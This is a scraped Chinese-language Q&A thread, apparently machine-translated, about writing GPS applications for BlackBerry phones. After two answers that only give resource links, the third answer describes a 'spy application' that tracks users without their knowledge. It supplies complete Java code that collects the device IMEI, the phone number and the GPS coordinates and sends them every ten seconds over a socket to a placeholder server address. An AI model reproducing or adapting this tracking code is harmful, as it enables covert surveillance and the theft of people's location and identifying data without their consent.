我想如何在BlackBerry中創建一個GPS程序?如何在黑莓手機上啓動GPS程序?
-1
A
回答
2
如果你在BlackBerry上做GPS編程,有兩個信息的好來源:
來源:http://blackberry.synclastic.com/blackberry-gps-programming/
3
參見 BB Dev Lab - Introduction to Location-based Services (ZIP)
Toni Westbrook - Creating a Blackberry GPS Tracker
riccomini - code blackberry gps
riccomini - code blackberry storm gps
另見blackberrymapsdemo和gpsdemo樣品中4.5/4.6 Eclipse插件
(組件\樣品\ COM \輪緣\樣品\裝置)
0
我有在一個項目中,我必須做一個間諜應用程序發送用戶的GPS位置的服務器,而不知道他在這裏是代碼,我希望它可以幫助你一點點。
package mypackage;
import java.io.OutputStreamWriter;
import java.util.Date;
import java.util.Timer;
import java.util.TimerTask;
import javax.microedition.io.Connector;
import javax.microedition.io.SocketConnection;
import javax.microedition.location.LocationProvider;
import net.rim.blackberry.api.phone.Phone;
import net.rim.device.api.gps.BlackBerryCriteria;
import net.rim.device.api.gps.BlackBerryLocation;
import net.rim.device.api.gps.BlackBerryLocationProvider;
import net.rim.device.api.gps.GPSInfo;
import net.rim.device.api.i18n.SimpleDateFormat;
import net.rim.device.api.system.Application;
import net.rim.device.api.system.IDENInfo;
import net.rim.device.api.ui.component.Dialog;
public class MyApp extends Application
{
public BlackBerryCriteria _criteria;
public BlackBerryLocationProvider _locationProvider;
public BlackBerryLocation _location;
public SocketConnection socket;
double lat;
double lon;
public Timer _timer;
public TimerTask _timerTask;
public String _imei;
public Date date;
public String pNumber;
public static void main(String[] args)
{
MyApp theApp = new MyApp();
theApp.enterEventDispatcher();
}
public MyApp()
{
_imei = IDENInfo.imeiToString(IDENInfo.getIMEI());
pNumber = Phone.getDevicePhoneNumber(true);
_criteria = new BlackBerryCriteria();
if(GPSInfo.isGPSModeAvailable(GPSInfo.GPS_MODE_AUTONOMOUS)){
_criteria.setMode(GPSInfo.GPS_MODE_AUTONOMOUS);
}else{
Dialog.alert("GPS not Available");
}
_timer = new Timer();
_timerTask = new TimerTask(){
public void run() {
try{
String currentdate = new SimpleDateFormat("yy/MM/dd").format(new Date(System.currentTimeMillis()));
_criteria.setHorizontalAccuracy(5);
_criteria.setVerticalAccuracy(5);
_criteria.setPreferredResponseTime(10000);
_locationProvider = (BlackBerryLocationProvider)LocationProvider.getInstance(_criteria);
_location= (BlackBerryLocation)_locationProvider.getLocation(-1);
lat =_location.getQualifiedCoordinates().getLatitude();
lon = _location.getQualifiedCoordinates().getLongitude();
String url = "<your IP address with port no(Format: 000.000.000.000:Port>;deviceside = false";
socket = (SocketConnection)Connector.open(url,Connector.READ_WRITE);
socket.setSocketOption(SocketConnection.KEEPALIVE,1);
OutputStreamWriter _out = new OutputStreamWriter(socket.openOutputStream());
String data = pNumber+"##"+_imei+"##"+lat+"##"+lon+"##"+currentdate+"##";
int length = data.length();
_out.write(data,0,length);
_out.close();
socket.close();
}catch(Exception e){
Dialog.alert(e.toString());
}
}
};
_timer.scheduleAtFixedRate(_timerTask, 0,10000);
}
}
相關問題
- 1. 在黑莓手機上加載黑莓應用程序
- 2. 如何在黑莓手機
- 3. 在黑莓中啓用GPS
- 4. 如何在黑莓手機上編寫短信應用程序?
- 5. 黑莓手機在黑莓手機中的簽名應用程序?
- 6. 黑莓手機應用程序正在研究黑莓手機平板電腦?
- 7. 在應用程序啓動黑莓手機上運行多個網址
- 8. 黑莓手機上的WebSql
- 9. 黑莓手機簽名應用程序
- 10. 如何在黑莓手機上簽名自動運行應用程序
- 11. 如何在java黑莓手機上編程瀏覽器
- 12. 黑莓手機 - 在設備上測試應用程序?
- 13. 如何在黑莓手機上的真實設備上運行應用程序?
- 14. 在黑莓手機上檢測觸摸
- 15. 如何在黑莓中自動啓動應用程序
- 16. 如何啓動黑莓編程?
- 17. 啓動黑莓
- 18. 如何爲黑莓手機和Windows Mobile部署應用程序
- 19. 如何讓iPhone的sencha應用程序在黑莓手機上運行
- 20. 如何在黑莓手機上顯示整個應用程序的時鐘數?
- 21. 黑莓6手機上的黑莓SDK 7
- 22. 從黑莓手機中刪除應用程序後重新啓動 - javaloader.exe
- 23. 通過程序對黑莓手機上的BCC發送郵件
- 24. 黑莓手機:如何使用PersistableRIMKeyStore?
- 25. 如何更新黑莓手機屏幕?
- 26. 如何在特定時間啓動黑莓應用程序?
- 27. 黑莓智能手機上的視頻?
- 28. 黑莓手機上的OAuth流量 - Foursquare
- 29. 從黑莓手機上讀取Cookies
- 30. 黑莓手機上的字幕文本